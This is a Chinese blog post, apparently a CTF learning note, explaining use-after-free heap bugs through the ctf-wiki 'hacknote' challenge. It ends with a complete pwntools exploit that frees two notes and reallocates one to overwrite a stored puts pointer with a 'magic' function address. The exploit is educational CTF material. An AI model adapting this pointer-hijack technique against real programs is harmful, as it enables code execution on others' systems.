UAF的学习 Wiki

参考文章 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/

不得不说 wiki 真的好  真的建议好好看看~~

UAF 应该是最简单的堆溢出利用之一了  

wiki 用的例子也是 UAF 题里面简单的题     这里 我用的也是 wiki 里面的例子 

UAF 其实就是 free 的指针 没有 把指针 给清0 指针还是指向了原来的地址    但是 那个地址已经给了别的模块 但我们依然能够用

那么这里就出现了  UAF漏洞

这个题 其实大概情况很简单   我们看一下 

他这个结构体其实很简单  就是 两个指针  第一个指针就是 puts 函数  

puts 第二个指针指向的内存地址 也就是程序的让我们输入的内容 

然后 是malloc (8)

看一下 dele 

这里可以看的出来 只是free了 并没有 把指针 清 0  那么我们只需要申请到 note的内存  然后把他内存里面的puts 改成我们想要实现的函数地址  然后 就能够 完成 溢出 

下面是 exp

#coding:utf-8
  

from pwn import*
io=process("./hacknote")
elf=ELF("./hacknote")
get_addr=elf.symbols['magic']
def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))

if __name__ == '__main__':
	add(0x20,'aaaa')
	add(0x20,'bbbb')
	dele(0)
	dele(1)
	add(8,p32(get_addr))
	show(0)
	io.interactive()
	io.close()

成功写入 magic  

get!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值